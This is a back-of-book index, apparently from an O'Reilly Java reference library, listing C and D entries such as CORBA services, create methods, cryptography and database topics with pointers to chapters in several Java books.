adding to NamingContext: 4.3.3. Adding Objects to a Naming Context, Java Enterprise in a Nutshell
creating: 4.2. Creating CORBA Objects, Java Enterprise in a Nutshell
ORB (Object Request Broker): 3.5.1. The Object Request Broker (ORB), Java Distributed Computing
ORBs (see ORBs)
org.omg.CORBA Package: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
remote classes, finding: 4.1.3. The Naming Service, Java Enterprise in a Nutshell
remote object references: 4.4. Finding Remote Objects, Java Enterprise in a Nutshell
RMI objects, accessing: 3.8.1. Accessing RMI Objects from CORBA, Java Enterprise in a Nutshell
RMI vs.: 4.1. The CORBA Architecture, Java Enterprise in a Nutshell
3.7. RMI vs. CORBA, Java Distributed Computing
RMI with JNI vs.: 3.7.1. RMI with JNI Versus CORBA, Java Enterprise in a Nutshell
root object class: 4.4. Finding Remote Objects, Java Enterprise in a Nutshell
security and transactions, attempt to standardize: 1.6.2 EJB and CORBA CTMs, Enterprise JavaBeans
Security Service: B.3. Security Service, Java Distributed Computing
services: 3.2 Primary Services, Enterprise JavaBeans
11. CORBA Services Reference, Java Enterprise in a Nutshell
Collection Service: 11.15. Collection Service, Java Enterprise in a Nutshell
Concurrency Control Service: 11.6. Concurrency Control Service, Java Enterprise in a Nutshell
Event Service: 11.3. Event Service, Java Enterprise in a Nutshell
Externalization Service: 11.7. Externalization Service, Java Enterprise in a Nutshell
Licensing Service: 11.11. Licensing Service, Java Enterprise in a Nutshell
Life Cycle Service: 11.4. Persistent Object Service, Java Enterprise in a Nutshell
naming service: 5.1 Locating Beans with JNDI, Enterprise JavaBeans
Persistent Object Service: 11.4. Persistent Object Service, Java Enterprise in a Nutshell
Property Service: 11.12. Property Service, Java Enterprise in a Nutshell
Query Service: 11.10. Query Service, Java Enterprise in a Nutshell
Relationship Service: 11.8. Relationship Service, Java Enterprise in a Nutshell
Security Service: 11.2. Security Service, Java Enterprise in a Nutshell
specification (OMG): 11. CORBA Services Reference, Java Enterprise in a Nutshell
Time Service: 11.13. Time Service, Java Enterprise in a Nutshell
Trading Service: 11.14. Trading Service, Java Enterprise in a Nutshell
Transaction Service: 11.6. Concurrency Control Service, Java Enterprise in a Nutshell
11.9. Transaction Service, Java Enterprise in a Nutshell
standard exceptions
IDL methods: 10.10.2.2. Exceptions, Java Enterprise in a Nutshell
CosEventChannelAdmin module: B.2.2. Interface Specifics, Java Distributed Computing
CosEventComm module: B.2.2. Interface Specifics, Java Distributed Computing
CosNaming module: B.1. Naming Service, Java Distributed Computing
costs of cryptography: 5.7.1.5. Financial and legal issues, Java Distributed Computing
counters, as examples: 3.1.3. A Simple Counter, Java Servlet Programming
4.4.6. An Improved Counter, Java Servlet Programming
country-code abbreviations: 12.2. Conforming to Local Customs, Java Servlet Programming
countTokens( ): 23. The java.util Package, Java in a Nutshell
crashing servers: 3.3.2. A Counter with Init and Destroy, Java Servlet Programming
CRC32 class: 25. The java.util.zip Package, Java in a Nutshell
25. The java.util.zip Package, Java in a Nutshell
create( )
duplicate records, handling: 7.3.1.5 Why use a Reservation entity bean?, Enterprise JavaBeans
ejbCreate( ), matching in home interface: 5.2.3.4 Creating and finding beans, Enterprise JavaBeans
home interface
stateful session beans: 7.3.1.2 TravelAgentHome: The home interface, Enterprise JavaBeans
7.4.2.1 Transitioning to the Method-Ready state, Enterprise JavaBeans
stateless session beans: 7.1.2.5 ProcessPaymentHome: The home interface, Enterprise JavaBeans
Pooled to Ready state, transition: 6.3.3.1 Transitioning from the Pooled state to the Ready State via creation, Enterprise JavaBeans
remote references and: 7.3.1.4 TravelAgentBean: The bean class, Enterprise JavaBeans
stateless session bean, obtaining remote reference to: 7.2.2.2 Life in the Method-Ready Pool, Enterprise JavaBeans
CREATE attribute: 2.6.5. JavaServer Pages and JavaBeans, Java Servlet Programming
create methods
beans, initializing: 2.1.1.2 The home interface, Enterprise JavaBeans
defining appropriate: 5.2.3.4 Creating and finding beans, Enterprise JavaBeans
entity beans, without: 9.6 Entity Beans Without Create Methods, Enterprise JavaBeans
home interface: 2.1.3.2 The EJB home, Enterprise JavaBeans
5.2.3.4 Creating and finding beans, Enterprise JavaBeans
6.1.3 The Home Interface, Enterprise JavaBeans
6.1.8 The Create Methods, Enterprise JavaBeans
CreateException: A.1.1 CreateException, Enterprise JavaBeans
transactional attributes required in deployment descriptor: 10.6.1 Specifying a Bean's Transactional Attributes, Enterprise JavaBeans
createBrowser( ) (QueueSession): 21. The javax.jms Package, Java Enterprise in a Nutshell
createCaret( ) (EditorKit): 30. The javax.swing.text Package, Java Foundation Classes
create_child( )
Context class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
createCompatibleImage( ) (GraphicsConfiguration): 9. The java.awt Package, Java Foundation Classes
createContext( ): 9. The java.awt Package, Java Foundation Classes
Composite interface: 9. The java.awt Package, Java Foundation Classes
createCustomCursor( ) (Toolkit): 3.12 Cursors, Java Foundation Classes
createDefaultDragGestureRecognizer( ): 12. The java.awt.dnd Package, Java Foundation Classes
createDialog( ): 3.17 JColorChooser, Java Foundation Classes
JColorChooser class: 23. The javax.swing Package, Java Foundation Classes
JOptionPane class: 23. The javax.swing Package, Java Foundation Classes
createDisabledImage( )
GrayFilter class: 23. The javax.swing Package, Java Foundation Classes
ImageIcon class: 3.11 Icons, Java Foundation Classes
createDurableSubscriber( ) (TopicSession): 21. The javax.jms Package, Java Enterprise in a Nutshell
CreateException class: 6.1.3 The Home Interface, Enterprise JavaBeans
6.1.3 The Home Interface, Enterprise JavaBeans
6.2.7 The ejbCreate( ) Method, Enterprise JavaBeans
8.6.1.2 Application exceptions, Enterprise JavaBeans
7.4.1. Home Interface, Java Enterprise in a Nutshell
19. The javax.ejb Package, Java Enterprise in a Nutshell
EJB API: A.1.1 CreateException, Enterprise JavaBeans
create_exception_list( ) (ORB): 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
create_exception_tc( ) (ORB): 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
createGraphics( ) (BufferedImage): 4.10.1 Obtaining a BufferedImage, Java Foundation Classes
createGroup( ) (ActivationGroup): 14. The java.rmi.activation Package, Java Enterprise in a Nutshell
createHorizontalBox( ): 3.14 The Box Container, Java Foundation Classes
createHorizontalGlue( ): 3.14 The Box Container, Java Foundation Classes
Box class: 23. The javax.swing Package, Java Foundation Classes
createHorizontalStrut( ): 3.14 The Box Container, Java Foundation Classes
Box class: 23. The javax.swing Package, Java Foundation Classes
createImage( ) (Component): 4.1.5 Images, Java Foundation Classes
4.10.1 Obtaining a BufferedImage, Java Foundation Classes
9. The java.awt Package, Java Foundation Classes
9. The java.awt Package, Java Foundation Classes
6.1.1.1. A ``Hello World'' image, Java Servlet Programming
6.1.2.1. Drawing over an image, Java Servlet Programming
6.1.4. Image Effects in Filter Chains, Java Servlet Programming
createInternalFrame( ) (JOptionPane): 23. The javax.swing Package, Java Foundation Classes
create_list( ) (ORB): 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
create_named_value( ): 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
createNewFile( ) (File): 11. The java.io Package, Java in a Nutshell
createPosition( ) (Document): 30. The javax.swing.text Package, Java Foundation Classes
createQueue( ) (QueueSession): 21. The javax.jms Package, Java Enterprise in a Nutshell
createQueueConnection( ) (QueueConnectionFactory): 21. The javax.jms Package, Java Enterprise in a Nutshell
createQueueSession( ) (QueueConnection): 21. The javax.jms Package, Java Enterprise in a Nutshell
createReceiver( ) (QueueSession): 21. The javax.jms Package, Java Enterprise in a Nutshell
createRegistry( ) (LocateRegistry): 3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
16. The java.rmi.registry Package, Java Enterprise in a Nutshell
17. The java.rmi.server Package, Java Enterprise in a Nutshell
17. The java.rmi.server Package, Java Enterprise in a Nutshell
D.2. The java.rmi.registry Package, Java Distributed Computing
create_request( ) (Object): 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
createServerSocket( ): D.3. The java.rmi.server Package, Java Distributed Computing
createSocket( ): D.3. The java.rmi.server Package, Java Distributed Computing
RMIClientSocketFactory interface: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
RMISocketFactory interface: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
createStatement( ) (Connection): 7.1.2.3. Statement, Java Distributed Computing
2.5. Statements, Java Enterprise in a Nutshell
2.12. Escape Sequences, Java Enterprise in a Nutshell
2.13.1. Results Handling, Java Enterprise in a Nutshell
createStrokedShape( ) (Stroke): 4.5.2 How a Stroke Works, Java Foundation Classes
create_struct_tc( ) (ORB): 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
createSubcontext( )
Context interface: 6.7. Creating and Destroying Contexts, Java Enterprise in a Nutshell
DirContext interface: 6.11. Creating Directory Entries, Java Enterprise in a Nutshell
23. The javax.naming.directory Package, Java Enterprise in a Nutshell
createSubscriber( ) (TopicSession): 21. The javax.jms Package, Java Enterprise in a Nutshell
createTempFile( ) (File): 11. The java.io Package, Java in a Nutshell
createToolTip( ) (JToolTip): 23. The javax.swing Package, Java Foundation Classes
createTopicConnection( ) (TopicConnectionFactory): 21. The javax.jms Package, Java Enterprise in a Nutshell
createTransformedShape( ) (AffineTransform): 4.11.2 Performing Transformations, Java Foundation Classes
16. The java.awt.geom Package, Java Foundation Classes
createValue( ) (UIDefaults): 23. The javax.swing Package, Java Foundation Classes
createVerticalBox( ): 3.14 The Box Container, Java Foundation Classes
createVerticalGlue( ): 3.14 The Box Container, Java Foundation Classes
Box class: 23. The javax.swing Package, Java Foundation Classes
createVerticalStrut( ): 3.14 The Box Container, Java Foundation Classes
Box class: 23. The javax.swing Package, Java Foundation Classes
createXATopicSession( ) (XATopicConnection interface): 21. The javax.jms Package, Java Enterprise in a Nutshell
creating and finding beans: 5.2.3.4 Creating and finding beans, Enterprise JavaBeans
creation overhead: 3.1.2. Instance Persistence, Java Servlet Programming
Credential class: B.3.2. Security Model, Java Distributed Computing
credit-card checking: 9.4.1. Using Transactions with JDBC, Java Servlet Programming
CRL class: 19. The java.security.cert Package, Java in a Nutshell
19. The java.security.cert Package, Java in a Nutshell
(see also X509CRL class)
CRLEntry class: 19. The java.security.cert Package, Java in a Nutshell
(see also X509CRLEntry class)
CRLException: 19. The java.security.cert Package, Java in a Nutshell
CRLs (certificate revocation lists): 10.4.5. Revoked Certificates, Java Security
19. The java.security.cert Package, Java in a Nutshell
parsing from byte streams: 19. The java.security.cert Package, Java in a Nutshell
CropImageFilter class: 18. The java.awt.image Package, Java Foundation Classes
cross-database APIs: 2.1. JDBC Architecture, Java Enterprise in a Nutshell
crypt( ): 5.6.1. Ciphers for Secure Data Transfers, Java Distributed Computing
cryptographic checksum (see message digests)
cryptographic keys: 7.3.2. Cryptographic Keys, Java Security
public/private key pairs: 7.3.2. Cryptographic Keys, Java Security
secret keys: 7.3.2. Cryptographic Keys, Java Security
cryptography: 4.1. Java Platform Overview, Java in a Nutshell
4.14. Cryptography, Java in a Nutshell
5.3. Authentication and Cryptography, Java in a Nutshell
algorithms for: 5.2.1.1. The User API, Java Distributed Computing
5.7. Choosing a Cryptographic Algorithm, Java Distributed Computing
algorithms, parameters for: 17. The java.security Package, Java in a Nutshell
arbitrary-precision integers, using: 15. The java.math Package, Java in a Nutshell
authentication, role of: 7.2. The Role of Authentication, Java Security
authentication vs. encryption: 7.1.2. Data Authentication, Java Security
certificates (see certificates)
CORBA Security Service: 11.2. Security Service, Java Enterprise in a Nutshell
DSA and RSA public and private keys: 20. The java.security.interfaces Package, Java in a Nutshell
encryption export restrictions: 13.1. Export Restrictions, Java Security
encryption strength: 10.2.1. Using the KeyPairGenerator Class, Java Security
11.3. A Key Management Example, Java Security
engines for: 7.3. Cryptographic Engines, Java Security
Java Cryptography Extension (JCE): 17. The java.security Package, Java in a Nutshell
javax.crypto package: 26. The javax.crypto Package, Java in a Nutshell
javax.crypto.interfaces package: 27. The javax.crypto.interfaces Package, Java in a Nutshell
JCE (see JCE)
keys for (see keys, cryptographic)
keys, invalid: 17. The java.security Package, Java in a Nutshell
keys/parameters, package for: 4.1. Java Platform Overview, Java in a Nutshell
private key: 17. The java.security Package, Java in a Nutshell
public and private key: 17. The java.security Package, Java in a Nutshell
public key: 8.2. Digital Certificates, Java Servlet Programming
reasons for: 7.1. The Need for Authentication, Java Security
resources for further reading: 26. The javax.crypto Package, Java in a Nutshell
service provider, not available: 17. The java.security Package, Java in a Nutshell
SSL for: 5.7.3.1. Secure Socket Layer (SSL), Java Distributed Computing
symmetric-key: 4.14. Cryptography, Java in a Nutshell
-csr option (keystore): A.1.3. Adding a Key Entry, Java Security
CSRs (certificate signing requests): A.1.3. Adding a Key Entry, Java Security
CSS (Cascading Style Sheet): 31. The javax.swing.text.html Package, Java Foundation Classes
CSS class: 31. The javax.swing.text.html Package, Java Foundation Classes
CTMs (component transaction monitors): 1. Introduction, Enterprise JavaBeans
1.1.3 Component Transaction Monitors, Enterprise JavaBeans
1.1.3 Component Transaction Monitors, Enterprise JavaBeans
1.5 Component Transaction Monitors, Enterprise JavaBeans
3.2.2 Transactions, Enterprise JavaBeans
common problems: 9.3 Improved Performance with Session Beans, Enterprise JavaBeans
EJB as standard component model: 2. Architectural Overview, Enterprise JavaBeans
as hybrids of ORBs and TP monitors: 1.5.3 CTMs: The Hybrid of ORBs and TP Monitors, Enterprise JavaBeans
relational databases, analogies to: 1.5.4 Analogies to Relational Databases, Enterprise JavaBeans
resource management: 3. Resource Management and the Primary Services, Enterprise JavaBeans
9.3.2 Resource Consumption, Enterprise JavaBeans
server-side component models and: 1.6 CTMs and Server-Side Component Models, Enterprise JavaBeans
transactional attributes and: 8.2.2 Transaction Attributes, Enterprise JavaBeans
CTX_RESTRICT_SCOPE interface: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
CubicCurve2D class: 16. The java.awt.geom Package, Java Foundation Classes
curly-brace characters ({})
in classes: 1.3.2.2. Defining a class, Java in a Nutshell
in main method: 1.3.2.3. Defining a method, Java in a Nutshell
current( )
BreakIterator class: 22. The java.text Package, Java in a Nutshell
CharacterIterator interface: 22. The java.text Package, Java in a Nutshell
Current interface: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
currentClassLoader( ): 6.1. Protected Methods of the Security Manager, Java Security
currentDirectory: 3.16 JFileChooser, Java Foundation Classes
currentLoadedClass( ): 6.1. Protected Methods of the Security Manager, Java Security
currentSegment( ) (PathIterator): 16. The java.awt.geom Package, Java Foundation Classes
currentThread( ) (Thread): 12. The java.lang Package, Java in a Nutshell
currentTimeMillis( ) (System): 12. The java.lang Package, Java in a Nutshell
Cursor class: 3.12 Cursors, Java Foundation Classes
3.12 Cursors, Java Foundation Classes
9. The java.awt Package, Java Foundation Classes
cursor position (result sets): 2.13.1. Results Handling, Java Enterprise in a Nutshell
cursors: 9. The java.awt Package, Java Foundation Classes
Swing: 3.12 Cursors, Java Foundation Classes
curve( ) (GeneralPath): 4.4 Shapes, Java Foundation Classes
curves: 16. The java.awt.geom Package, Java Foundation Classes
Java 2D: 4.4 Shapes, Java Foundation Classes
4.4 Shapes, Java Foundation Classes
4.4.1 Bezier Curves, Java Foundation Classes
custom authorization: 8.1.3. Form-based Custom Authorization, Java Servlet Programming
custom class loaders: 3.2.6. Choosing the Right Class Loader, Java Security
3.2. Servlet Reloading, Java Servlet Programming
custom primary keys, advantages of: 10.5.2 Specifying Primary Keys, Enterprise JavaBeans
Customizer class: 6.1. Bean Basics, Java in a Nutshell
Customizer interface: 9. The java.beans Package, Java in a Nutshell
9. The java.beans Package, Java in a Nutshell
customizing
cookies: 5.7. Cookies, Java Enterprise in a Nutshell
network security model: 6.3.2. Implementing Network Access, Java Security
security managers: 6. Implementing Security Policies, Java Security
servlet initialization: 5.4. Custom Servlet Initialization, Java Enterprise in a Nutshell
customs, local: 12.2. Conforming to Local Customs, Java Servlet Programming
cut-and-paste: 1. The Java Foundation Classes, Java Foundation Classes
6. Data Transfer, Java Foundation Classes
6.2 Cut-and-Paste, Java Foundation Classes
11. The java.awt.datatransfer Package, Java Foundation Classes

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: D

daemons
servlets: 10.2.4.2. The superclass, Java Servlet Programming
word origin: 10.2.4.1. The servlet, Java Servlet Programming
dangling pointers: 1.3.4. Safety, Java Servlet Programming
DAP (Directory Access Protocol): 6.9.1. X.500 Directories, Java Enterprise in a Nutshell
darker( ) (Color): 9. The java.awt Package, Java Foundation Classes
dashes, Java 2D: 4.5.1 BasicStroke, Java Foundation Classes
data
authentication: 7.1.2. Data Authentication, Java Security
buffering: 8.5.1. Streaming Multimedia, Java Distributed Computing
caching, database objects and: 7.2.5. Data Caching Issues, Java Distributed Computing
charting: 1.3.2. Power, Java Servlet Programming
compressing and writing to file: 4.10. Input and Output Streams, Java in a Nutshell
compression: 1.3.2. Power, Java Servlet Programming
encrypting (see encryption)
hiding: 3.5. Data Hiding and Encapsulation, Java in a Nutshell
mapping (see database mapping)
marshaling: 3.2.2. Remote Method Calls, Java Distributed Computing
multicasting: 2.1.3. Multicast Sockets, Java Distributed Computing
partitioning and distributing: 1.2.1. Partitioning and Distributing Data and Functions, Java Distributed Computing
raw throughput monitoring: 8.4.1. Raw Data Monitoring, Java Distributed Computing
real throughput monitoring: 8.4.2. Real Data Monitoring, Java Distributed Computing
streaming: 4.10. Input and Output Streams, Java in a Nutshell
XDR-formatted (example): 2.1.4. Streams, Readers, and Writers for Input and Output, Java Distributed Computing
data accessor methods: 3.5.2. Data Accessor Methods, Java in a Nutshell
Data Encryption Standard (see DES)
data manipulation commands (SQL): 8.4. Data Manipulation Commands, Java Enterprise in a Nutshell
data sink: 6.1.2 The Transferable Interface, Java Foundation Classes
6.5 A Data Sink, Java Foundation Classes
data source: 6.1.2 The Transferable Interface, Java Foundation Classes
6.4 A Data Source, Java Foundation Classes
data transfer: 1. The Java Foundation Classes, Java Foundation Classes
cut-and-paste: 11. The java.awt.datatransfer Package, Java Foundation Classes
drag-and-drop: 12. The java.awt.dnd Package, Java Foundation Classes
13. The java.awt.dnd.peer Package, Java Foundation Classes
data types: 6.1.1 The DataFlavor Class, Java Foundation Classes
actual vs. declared: 6.1.4 Java RMI Return Types, Parameters, and Exceptions, Enterprise JavaBeans
binary, transmitting (servlets): 5.9. Databases and Non-HTML Content, Java Enterprise in a Nutshell
binary and character (large objects): 2.13.4. BLOBs and CLOBs, Java Enterprise in a Nutshell
columns, returning (ResultSet): 2.6. Results, Java Enterprise in a Nutshell
container-managed fields: 6.1 Container-Managed Persistence, Enterprise JavaBeans
conversational state: 7.4.3 Passivated State, Enterprise JavaBeans
DatabaseMetaData methods, returning: 2.9.1. DatabaseMetaData, Java Enterprise in a Nutshell
env-entry-type element: 10.5.3 Environment Entries, Enterprise JavaBeans
Eumeration and Collection: 6.1.3.1 The find methods, Enterprise JavaBeans
find methods, returning: 6.2.10 ejbFind( ) Methods, Enterprise JavaBeans
IDL: 10. IDL Reference, Java Enterprise in a Nutshell
declaring: 4.2.1.3. Data members and methods, Java Enterprise in a Nutshell
supporting: 10.4. Basic Data Types, Java Enterprise in a Nutshell
typedef: 10.7.1.1. Mapping typedefs to Java, Java Enterprise in a Nutshell
user-defined: 10.7. User-Defined Data Types, Java Enterprise in a Nutshell
10.10.3.2. Constant, type, and exception inheritance, Java Enterprise in a Nutshell
10.10.3.3. IDL early binding, Java Enterprise in a Nutshell
Java language: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject, Enterprise JavaBeans
Java RMI return and parameter types: 6.1.4 Java RMI Return Types, Parameters, and Exceptions, Enterprise JavaBeans
Java/SQL mapping: 8.2. Data Types, Java Enterprise in a Nutshell
JDBC type VARBINARY: 9.7.1.2 Mapping serializable to VARBINARY, Enterprise JavaBeans
large: 2.6.2. Large Data Types, Java Enterprise in a Nutshell
literals (IDL)
numeric, listed: 10.5.3. Numeric Literals, Java Enterprise in a Nutshell
MapMessage name/value pairs: 21. The javax.jms Package, Java Enterprise in a Nutshell
mapping to standard SQL types: 2.8. Prepared Statements, Java Enterprise in a Nutshell
multi-entity find methods, returning: 6.2.1 Making the ShipBean a Bean-Managed Entity, Enterprise JavaBeans
object
Java handling: 4.2.1. An IDL Primer, Java Enterprise in a Nutshell
primary keys: 10.5.2 Specifying Primary Keys, Enterprise JavaBeans
Object type for undefined: 6.1.2.3 EJB 1.1: Undefined primary keys, Enterprise JavaBeans
using String and wrapper classes for: 6.1.2.2 Single-field key, Enterprise JavaBeans
primitive: 2.6. Results, Java Enterprise in a Nutshell
boolean: 5.8. Session Tracking, Java Enterprise in a Nutshell
Java handling: 4.2.1. An IDL Primer, Java Enterprise in a Nutshell
relational databases and: 2.13.3. Java-Aware Databases, Java Enterprise in a Nutshell
serialization: 3.4.2. Remote Method Arguments and Return Values, Java Enterprise in a Nutshell
servlet responses, specifying: 5.2.4. Servlet Responses, Java Enterprise in a Nutshell
SQL: 18. The java.sql Package, Java Enterprise in a Nutshell
SQL and Java: 2.6. Results, Java Enterprise in a Nutshell
SQL tables
columns: 8.2. Data Types, Java Enterprise in a Nutshell
stored procedures output: 2.11. Stored Procedures, Java Enterprise in a Nutshell
strings, array of, converting for storage in relational database: 6.1.8.4 Using ejbLoad( ) and ejbStore( ) in container-managed beans, Enterprise JavaBeans
data types, primitive: 2.4. Primitive Data Types, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell
database connections, servlet benefits: 5.1. The Servlet Life Cycle, Java Enterprise in a Nutshell
database locks (transactions): 8.3 Isolation and Database Locking, Enterprise JavaBeans
8.3.2 Database Locks, Enterprise JavaBeans
8.3.4.2 EJB 1.0: Controlling isolation levels, Enterprise JavaBeans
isolation levels, application of: 8.3.3 Transaction Isolation Levels, Enterprise JavaBeans
database management system (DBMS): 8.1. Relational Databases, Java Enterprise in a Nutshell
Database Management System, see RDBMS: 9.1. Relational Databases, Java Servlet Programming
database mapping
bean implementation (deployment descriptors): 7.7. Deploying an Enterprise JavaBeans Object, Java Enterprise in a Nutshell
bean-managed persistence, bean class fields: 6.2 Bean-Managed Persistence, Enterprise JavaBeans
business concepts vs. (entity bean relationships): 9.7.1.1 Maintaining the database mapping, Enterprise JavaBeans
byte arrays and Java serialization: 9.7.2.2 Mapping serializable to VARBINARY, Enterprise JavaBeans
complex data structures: 7.6.7.1. Handling complex data structures, Java Enterprise in a Nutshell
container-managed persistence: 7.7.1. Container-Managed Data Mapping, Java Enterprise in a Nutshell
entity bean relationships: 9.7.1.1 Maintaining the database mapping, Enterprise JavaBeans
entity beans: 4.2.8 Creating a CABIN Table in the Database, Enterprise JavaBeans
4.2.9.2 EJB 1.0 deployment tools, Enterprise JavaBeans
native Java persistence: 9.7.2.3 Native Java persistence, Enterprise JavaBeans
persistent fields: 2.1.1.4 The primary key, Enterprise JavaBeans
2.1.1.4 The primary key, Enterprise JavaBeans
(see also persistence)
primary key, preserving in: 9.7.1.3 Preserving the primary key, Enterprise JavaBeans
serialization (data structures, entity beans): 7.6.7.1. Handling complex data structures, Java Enterprise in a Nutshell
vectors, use in: 9.7.2.1 One-to-many database mapping, Enterprise JavaBeans
vendors of EJB containers, tools for: 2.1.1.4 The primary key, Enterprise JavaBeans
Database Programming with JDBC and Java book: 9.2. The JDBC API, Java Servlet Programming
9.5.1. Stored Procedures, Java Servlet Programming
database schema (directory schema vs.): 6.9.1. X.500 Directories, Java Enterprise in a Nutshell
database servers
Drivers (JDBC, relying upon): 1.3.1. JDBC: Working with Databases, Java Enterprise in a Nutshell
database table
SQL definition: 6.1 Container-Managed Persistence, Enterprise JavaBeans
stateless session beans, definitions for: 7.1.1 Downloading the Missing Pieces, Enterprise JavaBeans
database updates
committing or rolling back (transactions): 7.3.1. Making the EJB Server Aware of Database Transactions, Java Enterprise in a Nutshell
DatabaseItem interface (example): 7.2.4. JDBC-Enabled Data Objects, Java Distributed Computing
multiple Connection objects: 7.3. Multi-Database Applications, Java Distributed Computing
DatabaseMetaData class: 18. The java.sql Package, Java Enterprise in a Nutshell
DatabaseMetaData interface: 2.9. Metadata, Java Enterprise in a Nutshell
2.9.1. DatabaseMetaData, Java Enterprise in a Nutshell
scrolling and concurrency support: 2.13.1. Results Handling, Java Enterprise in a Nutshell
databases: 6.2.6 Obtaining a Connection to the Database, Enterprise JavaBeans
1.3.1. JDBC: Working with Databases, Java Enterprise in a Nutshell
(see also relational databases)
access by web components using JDBC: 11.3 Web Components and EJB, Enterprise JavaBeans
changes, losing: 2.10. Transactions, Java Enterprise in a Nutshell
columns
null values: 2.6.1. Handling Nulls, Java Enterprise in a Nutshell
commands, database-independent (JDBC): 2.12. Escape Sequences, Java Enterprise in a Nutshell
configuration information, obtaining: 2.9.1. DatabaseMetaData, Java Enterprise in a Nutshell
connection sharing: 5.5. Thread Safety, Java Enterprise in a Nutshell
connections: 2.4. Connecting to the Database, Java Enterprise in a Nutshell
18. The java.sql Package, Java Enterprise in a Nutshell
3.4. Single-Thread Model, Java Servlet Programming
4.1.1. Getting an Init Parameter, Java Servlet Programming
9.2.2. Getting a Connection, Java Servlet Programming
closing: 2.4. Connecting to the Database, Java Enterprise in a Nutshell
creating: 2.2. JDBC Basics, Java Enterprise in a Nutshell
pooling: 2.4. Connecting to the Database, Java Enterprise in a Nutshell
5.9. Databases and Non-HTML Content, Java Enterprise in a Nutshell
connectivity
advantage of servlets: 9. Database Connectivity, Java Servlet Programming
servlets' power: 1.3.2. Power, Java Servlet Programming
container-managed fields, synchronizing to: 6.1.8.4 Using ejbLoad( ) and ejbStore( ) in container-managed beans, Enterprise JavaBeans
defining data objects: 7.2.2. Defining the Data Objects, Java Distributed Computing
scheduling system example: 7.2.3. A Scheduling Example, Java Distributed Computing
differences among systems: 2.1. JDBC Architecture, Java Enterprise in a Nutshell
direct access vs. entity beans: 6. Entity Beans, Enterprise JavaBeans
enterprise applications, dependency: 2. JDBC, Java Enterprise in a Nutshell
entities, adding to (bean-managed persistence): 6.2.7 The ejbCreate( ) Method, Enterprise JavaBeans
entries, maintaining (bean-managed persistence): 7.6.7. Container-Managed Persistence, Java Enterprise in a Nutshell
HTML integration with: 5.4.2.4. HTML generation and databases, Java Servlet Programming
indexing objects, different methods for: 6.1.2.3 EJB 1.1: Undefined primary keys, Enterprise JavaBeans
interaction with JDBC: 2.1. JDBC Architecture, Java Enterprise in a Nutshell
isolation levels, transactions and: 7.3.2. Transaction Isolation Levels, Java Enterprise in a Nutshell
Java-aware: 2.13.3. Java-Aware Databases, Java Enterprise in a Nutshell
JDBC API
overview of: 7.1. An Overview of JDBC, Java Distributed Computing
supporting transactions: 1.3.8. JTA: Managing Distributed Transactions, Java Enterprise in a Nutshell
JDBC, working with relational: 1.3.1. JDBC: Working with Databases, Java Enterprise in a Nutshell
mapping, container-managed persistence: 7.6.7. Container-Managed Persistence, Java Enterprise in a Nutshell
7.6.7. Container-Managed Persistence, Java Enterprise in a Nutshell
multiple in applications: 7.3. Multi-Database Applications, Java Distributed Computing
objects (Java types), inserting: 2.8. Prepared Statements, Java Enterprise in a Nutshell
ODBC drivers: 7.2.1. JDBC Driver Configurations, Java Distributed Computing
primary keys as pointers to: 2.1.1 Classes and Interfaces, Enterprise JavaBeans
protocols, defining (ODMG): 11.4. Persistent Object Service, Java Enterprise in a Nutshell
records, mapping to Java objects: 2.13.3. Java-Aware Databases, Java Enterprise in a Nutshell
remote: 7.2. Remote Database Applications, Java Distributed Computing
remote data servers and: 7.2.6. Remote Data Servers, Java Distributed Computing
rollback/commit control in updating: 8.2.4 Transaction Propagation , Enterprise JavaBeans
rows
accessing (result sets): 2.13.1. Results Handling, Java Enterprise in a Nutshell
editing data, inserting and deleting rows (ResultSet): 2.13.1. Results Handling, Java Enterprise in a Nutshell
insertions, preventing (transactions): 2.10. Transactions, Java Enterprise in a Nutshell
null values, inserting: 2.13.1. Results Handling, Java Enterprise in a Nutshell
sample query: 7.1.1. Data Retrieval Example, Java Distributed Computing
scalar functions: 2.12. Escape Sequences, Java Enterprise in a Nutshell
scheduling system (example): 7.2.3. A Scheduling Example, Java Distributed Computing
data caching: 7.2.5. Data Caching Issues, Java Distributed Computing
with JDBC-enabled data objects: 7.2.4. JDBC-Enabled Data Objects, Java Distributed Computing
servlets, handling: 5.9. Databases and Non-HTML Content, Java Enterprise in a Nutshell
SQL statments and: 18. The java.sql Package, Java Enterprise in a Nutshell
SQL strings, processing: 2.8. Prepared Statements, Java Enterprise in a Nutshell
standardized interface (SQL): 8. SQL Reference, Java Enterprise in a Nutshell
stored SQL procedures: 2.11. Stored Procedures, Java Enterprise in a Nutshell
accessing: 2.5. Statements, Java Enterprise in a Nutshell
18. The java.sql Package, Java Enterprise in a Nutshell
tables
contents, displaying (sample program): 2.9.2. ResultSetMetaData, Java Enterprise in a Nutshell
in three-tier distributed object architecture: 1.1.1 Distributed Objects, Enterprise JavaBeans
transactions: 2.10. Transactions, Java Enterprise in a Nutshell
update counts, getting: 2.5.1. Multiple Result Sets, Java Enterprise in a Nutshell
updateable ResultSet, differences: 2.13.1. Results Handling, Java Enterprise in a Nutshell
updates (stateful session beans): 8.8 Transactional Stateful Session Beans, Enterprise JavaBeans
updating: 9.2.7. Updating the Database, Java Servlet Programming
